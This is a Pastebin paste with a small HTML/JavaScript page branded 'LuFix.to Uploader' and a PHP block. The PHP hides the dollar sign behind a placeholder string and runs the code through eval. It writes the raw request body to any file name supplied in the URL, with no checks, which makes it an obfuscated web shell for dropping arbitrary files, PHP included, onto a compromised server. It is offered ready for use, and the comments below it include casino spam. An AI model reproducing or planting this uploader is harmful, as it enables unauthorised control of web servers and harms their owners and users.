Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <h4>LuFix.to Uploader</h4>
- <input type="file" id="upload_files" name="upload_files" multiple="multiple">
- <button id="b" value="upload" onclick='upload("upload_files",0);'>Upload</button>
- <br><p>Status : <span id="status" style="color:red;">No file added</span></p>
- <script>
- function upload(fileInputId, fileIndex)
- {
- var url = window.location.pathname;
- var scriptname = url.substring(url.lastIndexOf('/')+1);
- var filename = document.getElementById('upload_files').value;
- var filename = filename.match(/[^\\/]*$/)[0];
- document.getElementById("status").textContent = "Uploading the file "+filename+", please wait..";
- document.getElementById("status").style.color = "blue";
- // take the file from the input
- var file = document.getElementById(fileInputId).files[fileIndex];
- var reader = new FileReader();
- reader.readAsBinaryString(file); // alternatively you can use readAsDataURL
- reader.onloadend = function(evt)
- {
- // create XHR instance
- xhr = new XMLHttpRequest();
- // send the file through POST
- xhr.open("POST", scriptname+"?name="+filename, true);
- // make sure we have the sendAsBinary method on all browsers
- XMLHttpRequest.prototype.mySendAsBinary = function(text){
- var data = new ArrayBuffer(text.length);
- var ui8a = new Uint8Array(data, 0);
- for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);
- if(typeof window.Blob == "function")
- {
- var blob = new Blob([data]);
- }else{
- var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)();
- bb.append(data);
- var blob = bb.getBlob();
- }
- this.send(blob);
- }
- // let's track upload progress
- var eventSource = xhr.upload || xhr;
- eventSource.addEventListener("progress", function(e) {
- // get percentage of how much of the current file has been sent
- var position = e.position || e.loaded;
- var total = e.totalSize || e.total;
- var percentage = Math.round((position/total)*100);
- // here you should write your own code how you wish to proces this
- });
- // state change observer - we need to know when and if the file was successfully uploaded
- xhr.onreadystatechange = function()
- {
- if(xhr.readyState == 4)
- {
- if(xhr.status == 200)
- {
- // process success
- document.getElementById("status").textContent = "The file "+filename+" Uploaded successfully in same folder.";
- document.getElementById("status").style.color = "green";
- }else{
- // process error
- }
- }
- };
- // start sending
- xhr.mySendAsBinary(evt.target.result);
- };
- }
- </script>
- <?php
- $text = 'if(!empty(ssdddddddd_GET["name"])){
- ssddddddddinputHandler = fopen("php://input", "r");
- ssddddddddfileHandler = fopen(ssdddddddd_GET["name"], "w+");
- while(true) {
- ssddddddddbuffer = fgets(ssddddddddinputHandler, 4096);
- if (strlen(ssddddddddbuffer) == 0) {
- fclose(ssddddddddinputHandler);
- fclose(ssddddddddfileHandler);
- return true;
- }
- fwrite(ssddddddddfileHandler, ssddddddddbuffer);
- }
- }';
- eval(str_replace('ssdddddddd','$',$text));
- ?>
Advertisement
Comments
-
- Interesting enough.
-
- I have already tried new zealand so many different online casinos. But many dropped out because play casino it was difficult to withdraw money online casino . I've been getting carried away lately bonuses https://mr.bet/nz/casino/collection/blackjack
Add Comment
Please, Sign In to add comment
Advertisement